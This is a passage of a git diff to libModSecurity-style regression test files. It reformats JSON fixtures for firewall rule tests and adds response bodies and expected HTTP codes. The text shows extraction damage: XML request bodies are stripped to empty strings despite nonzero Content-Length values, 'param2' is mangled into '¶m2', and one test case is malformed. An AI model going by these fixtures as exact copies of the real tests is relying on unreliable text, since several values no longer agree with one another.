"SecRule URLENCODED_ERROR \"@gt 10 \" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: URLENCODED_ERROR - GET (7/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: URLENCODED_ERROR - GET (7/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/?z=진 마일 리", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?z=진 마일 리", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"0\" \\(Variable: URLENCODED_ERROR\\)" + "expected": { + "debug_log": "Target value: \"0\" \\(Variable: URLENCODED_ERROR\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule URLENCODED_ERROR \"@gt 10 \" \"id:1,phase:3,pass,t:trim\"" ] } ] - diff --git a/test/test-cases/regression/variable-USERID.json b/test/test-cases/regression/variable-USERID.json index d805949eca..343f7db0b9 100644 --- a/test/test-cases/regression/variable-USERID.json +++ b/test/test-cases/regression/variable-USERID.json @@ -1,31 +1,44 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing USERID variable (1/2)", - "expected":{ - "debug_log": "Target value: \"zimmerle2\"" + "enabled": 1, + "version_min": 300000, + "title": "Testing USERID variable (1/2)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "client":{ - "ip":"200.249.12.31", - "port":123 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "User-Agent":"My sweet little browser", - "Cookie": "USER=zimmerle" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "User-Agent": "My sweet little browser", + "Cookie": "USER=zimmerle", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Target value: \"zimmerle2\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS:User-Agent \"^(.*)$\" \"id:'900018',phase:1,t:none,t:sha1,t:hexEncode,setuid:%{REQUEST_COOKIES:USER}%,nolog,pass\"", "SecRule REQUEST_HEADERS:User-Agent \"^(.*)$\" \"id:'900068',phase:1,t:none,t:sha1,t:hexEncode,setuid:%{REQUEST_COOKIES:USER}2,nolog,pass\"", @@ -33,32 +46,45 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing USERID variable (2/2)", - "expected":{ - "debug_log": "Target value: \"whee\"" + "enabled": 1, + "version_min": 300000, + "title": "Testing USERID variable (2/2)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "client":{ - "ip":"200.249.12.31", - "port":123 + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "User-Agent": "My sweet little browser", + "Cookie": "USER=whee", + "Content-Length": "0" + }, + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "User-Agent":"My sweet little browser", - "Cookie": "USER=whee" + "response": { + "headers": { + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "body": [ + "" + ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "expected": { + "debug_log": "Target value: \"whee\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS:User-Agent \"^(.*)$\" \"id:'900018',phase:1,t:none,t:sha1,t:hexEncode,setuid:%{REQUEST_COOKIES:USER}%,nolog,pass\"", "SecRule USERID \".*\" \"id:1239,phase:1,log,pass\"" diff --git a/test/test-cases/regression/variable-WEBAPPID.json b/test/test-cases/regression/variable-WEBAPPID.json index fe73bd30f5..d757993b5d 100644 --- a/test/test-cases/regression/variable-WEBAPPID.json +++ b/test/test-cases/regression/variable-WEBAPPID.json @@ -1,94 +1,97 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: WEBAPPID (1)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: WEBAPPID (1)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded", "Authorization": "Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"t:trim: \"\"" + "expected": { + "debug_log": "t:trim: \"\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule WEBAPPID \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: WEBAPPID (2)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: WEBAPPID (2)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded", "AuThOrIzAtIoN": "Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"bisteka\"" + "expected": { + "debug_log": "Target value: \"bisteka\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecWebAppId bisteka", "SecRule WEBAPPID \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] } ] - diff --git a/test/test-cases/regression/variable-WEBSERVER_ERROR_LOG.json b/test/test-cases/regression/variable-WEBSERVER_ERROR_LOG.json index 06d2587dbd..fc2becd647 100644 --- a/test/test-cases/regression/variable-WEBSERVER_ERROR_LOG.json +++ b/test/test-cases/regression/variable-WEBSERVER_ERROR_LOG.json @@ -1,13 +1,40 @@ [ { - "enabled":1, - "version_min":300000, - "version_max":0, - "title":"Testing Variables :: WEBSERVER_ERROR_LOG (1/1)", - "expected":{ - "parser_error":"Line: 1. Column: 27. Variable VARIABLE_WEBSERVER_ERROR_LOG is not supported by libModSecurity" - }, - "rules":[ + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing Variables :: WEBSERVER_ERROR_LOG (1/1)", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Content-Length": "0" + }, + "uri": "", + "method": "", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 200, + "parser_error": "Line: 1. Column: 27. Variable VARIABLE_WEBSERVER_ERROR_LOG is not supported by libModSecurity" + }, + "rules": [ "secrule WEBSERVER_ERROR_LOG \"@contains test\" \"id:1,t:lowercase,t:none,msg:'This is a test, %{REQUEST_HEADERS:Accept}%'\"" ] } diff --git a/test/test-cases/regression/variable-XML.json b/test/test-cases/regression/variable-XML.json index c5ca889c19..8648ab9c5d 100644 --- a/test/test-cases/regression/variable-XML.json +++ b/test/test-cases/regression/variable-XML.json @@ -1,24 +1,667 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing XPath expression with equals sign", - "expected":{ + "enabled": 1, + "version_min": 300000, + "title": "Testing XPath expression with equals sign", + "resource": "libxml2", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Type": "text/xml", + "Content-Length": "181" + }, + "uri": "/?key=value&key=other_value", + "method": "POST", + "body": [ + "", + "", + "", + "]>", + "", + "aaabbb", + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500011,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", + "SecRule XML://bookstore/*[local-name()='some-tag'] \"bbb\" \"id:500012,phase:3,t:none,t:lowercase,log,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing XML parsing to ARGS with On, check if ARGS is populated", + "resource": "libxml2", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Type": "text/xml", + "Content-Length": "181" + }, + "uri": "/", + "method": "POST", + "body": [ + "", + "", + "", + "]>", + "", + "aaabbb", + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecParseXmlIntoArgs On", + "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500011,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", + "SecRule ARGS:xml.bookstore.some-tag \"@rx aaa\" \"id:500012,phase:2,t:none,t:lowercase,log,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing XML parsing to ARGS with On, check if XML is populated", + "resource": "libxml2", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Type": "text/xml", + "Content-Length": "181" + }, + "uri": "/", + "method": "POST", + "body": [ + "", + "", + "", + "]>", + "", + "aaabbb", + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecParseXmlIntoArgs On", + "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500011,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", + "SecRule XML:/* \"@rx aaa\" \"id:500012,phase:2,t:none,t:lowercase,log,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing XML parsing to ARGS with OnlyArgs, check if ARGS is populated", + "resource": "libxml2", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Type": "text/xml", + "Content-Length": "181" + }, + "uri": "/", + "method": "POST", + "body": [ + "", + "", + "", + "]>", + "", + "aaabbb", + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecParseXmlIntoArgs OnlyArgs", + "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500011,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", + "SecRule ARGS:xml.bookstore.some-tag \"@rx aaa\" \"id:500012,phase:2,t:none,t:lowercase,log,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing XML parsing to ARGS with OnlyArgs, check if XML is populated", + "resource": "libxml2", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Type": "text/xml", + "Content-Length": "181" + }, + "uri": "/", + "method": "POST", + "body": [ + "", + "", + "", + "]>", + "", + "aaabbb", + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecParseXmlIntoArgs OnlyArgs", + "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500011,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", + "SecRule XML:/* \"@rx aaa\" \"id:500012,phase:2,t:none,t:lowercase,log,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing XML parsing to ARGS with Off, check if ARGS is populated", + "resource": "libxml2", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Type": "text/xml", + "Content-Length": "181" + }, + "uri": "/", + "method": "POST", + "body": [ + "", + "", + "", + "]>", + "", + "aaabbb", + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecParseXmlIntoArgs Off", + "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500011,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", + "SecRule ARGS \"@rx aaa\" \"id:500012,phase:2,t:none,t:lowercase,log,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing XML parsing to ARGS with Off, check if XML is populated", + "resource": "libxml2", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Type": "text/xml", + "Content-Length": "181" + }, + "uri": "/", + "method": "POST", + "body": [ + "", + "", + "", + "]>", + "", + "aaabbb", + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecParseXmlIntoArgs Off", + "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500011,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", + "SecRule XML:/* \"@rx aaa\" \"id:500012,phase:2,t:none,t:lowercase,log,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing XML parsing to ARGS with On, turn Off with ctl, check ARGS", + "resource": "libxml2", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Type": "text/xml", + "Content-Length": "181" + }, + "uri": "/?q=xml", + "method": "POST", + "body": [ + "", + "", + "", + "]>", + "", + "aaabbb", + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecParseXmlIntoArgs On", + "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500011,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", + "SecRule ARGS_GET:q \"@rx xml\" \"id:500012,phase:1,t:none,t:lowercase,ctl:parseXmlIntoArgs=Off\"", + "SecRule ARGS:xml.bookstore.some-tag \"@rx aaa\" \"id:500013,phase:2,t:none,t:lowercase,log,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing XML parsing to ARGS with On, turn Off with ctl, check XML", + "resource": "libxml2", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Type": "text/xml", + "Content-Length": "181" + }, + "uri": "/?q=xml", + "method": "POST", + "body": [ + "", + "", + "", + "]>", + "", + "aaabbb", + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecParseXmlIntoArgs On", + "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500011,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", + "SecRule ARGS_GET:q \"@rx xml\" \"id:500012,phase:1,t:none,t:lowercase,ctl:parseXmlIntoArgs=Off\"", + "SecRule XML:/* \"@rx aaa\" \"id:500013,phase:2,t:none,t:lowercase,log,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing XML parsing to ARGS with On, turn OnlyArgs with ctl, check ARGS", + "resource": "libxml2", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Type": "text/xml", + "Content-Length": "181" + }, + "uri": "/?q=xml", + "method": "POST", + "body": [ + "", + "", + "", + "]>", + "", + "aaabbb", + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecParseXmlIntoArgs On", + "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500011,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", + "SecRule ARGS_GET:q \"@rx xml\" \"id:500012,phase:1,t:none,t:lowercase,ctl:parseXmlIntoArgs=OnlyArgs\"", + "SecRule ARGS:xml.bookstore.some-tag \"@rx aaa\" \"id:500013,phase:2,t:none,t:lowercase,log,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing XML parsing to ARGS with On, turn OnlyArgs with ctl, check XML", + "resource": "libxml2", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Type": "text/xml", + "Content-Length": "181" + }, + "uri": "/?q=xml", + "method": "POST", + "body": [ + "", + "", + "", + "]>", + "", + "aaabbb", + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecParseXmlIntoArgs On", + "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500011,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", + "SecRule ARGS_GET:q \"@rx xml\" \"id:500012,phase:1,t:none,t:lowercase,ctl:parseXmlIntoArgs=OnlyArgs\"", + "SecRule XML:/* \"@rx aaa\" \"id:500013,phase:2,t:none,t:lowercase,log,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing XML parsing to ARGS with Off, turn On with ctl, check ARGS", + "resource": "libxml2", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Type": "text/xml", + "Content-Length": "181" + }, + "uri": "/?q=xml", + "method": "POST", + "body": [ + "", + "", + "", + "]>", + "", + "aaabbb", + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { "http_code": 403 }, - "client":{ - "ip":"200.249.12.31", - "port":123 + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecParseXmlIntoArgs Off", + "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500011,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", + "SecRule ARGS_GET:q \"@rx xml\" \"id:500012,phase:1,t:none,t:lowercase,ctl:parseXmlIntoArgs=On\"", + "SecRule ARGS:xml.bookstore.some-tag \"@rx aaa\" \"id:500013,phase:2,t:none,t:lowercase,log,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing XML parsing to ARGS with Off, turn On with ctl, check XML", + "resource": "libxml2", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Type": "text/xml" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Type": "text/xml", + "Content-Length": "181" }, - "uri":"/?key=value&key=other_value", - "method":"POST", + "uri": "/?q=xml", + "method": "POST", "body": [ "", "aaabbb", "" ] - }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecParseXmlIntoArgs Off", + "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500011,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", + "SecRule ARGS_GET:q \"@rx xml\" \"id:500012,phase:1,t:none,t:lowercase,ctl:parseXmlIntoArgs=On\"", + "SecRule XML:/* \"@rx aaa\" \"id:500013,phase:2,t:none,t:lowercase,log,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing XML parsing to ARGS with On, node contains utf8 character", + "resource": "libxml2", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Type": "text/xml", + "Content-Length": "50" + }, + "uri": "/?q=xml", + "method": "POST", + "body": [ + "", + "pineapple🍍", + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecParseXmlIntoArgs On", + "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500011,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", + "SecRule ARGS \"@rx 🍍\" \"id:500013,phase:2,t:none,t:lowercase,log,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing XML parsing to ARGS with On, more nodes than SecArgumentsLimit allows", + "resource": "libxml2", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Type": "text/xml", + "Content-Length": "50" + }, + "uri": "/?q=xml", + "method": "POST", + "body": [ + "", + "pineappleabbbbbbbbbbbbbbbb", + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 403 }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500011,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", - "SecRule XML://bookstore/*[local-name()='some-tag'] \"bbb\" \"id:500012,phase:3,t:none,t:lowercase,log,deny,status:403\"" + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecParseXmlIntoArgs On", + "SecArgumentsLimit 10", + "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500011,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", + "SecRule ARGS \"@rx a\" \"id:500013,phase:2,t:none,t:lowercase,log,deny,status:403\"" ] } ] - diff --git a/test/test-cases/regression/variable-variation-count.json b/test/test-cases/regression/variable-variation-count.json index b00daf6751..9f75368e8a 100644 --- a/test/test-cases/regression/variable-variation-count.json +++ b/test/test-cases/regression/variable-variation-count.json @@ -14,8 +14,8 @@ }, "request": { "headers": { - "User-Agent": "Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", @@ -23,33 +23,35 @@ "Connection": "keep-alive", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?param1= test ¶m2=test2", + "uri": "/test.pl?param1= test ¶m2=test2", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, "expected": { - "audit_log": "", - "debug_log": "Target value: \"10\" \\(Variable: REQUEST_HEADERS\\)", - "error_log": "" + "debug_log": "Target value: \"11\" \\(Variable: REQUEST_HEADERS\\)", + "http_code": 200 }, "rules": [ "SecRuleEngine On", @@ -71,8 +73,8 @@ }, "request": { "headers": { - "User-Agent": "Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", @@ -80,33 +82,35 @@ "Connection": "keep-alive", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", 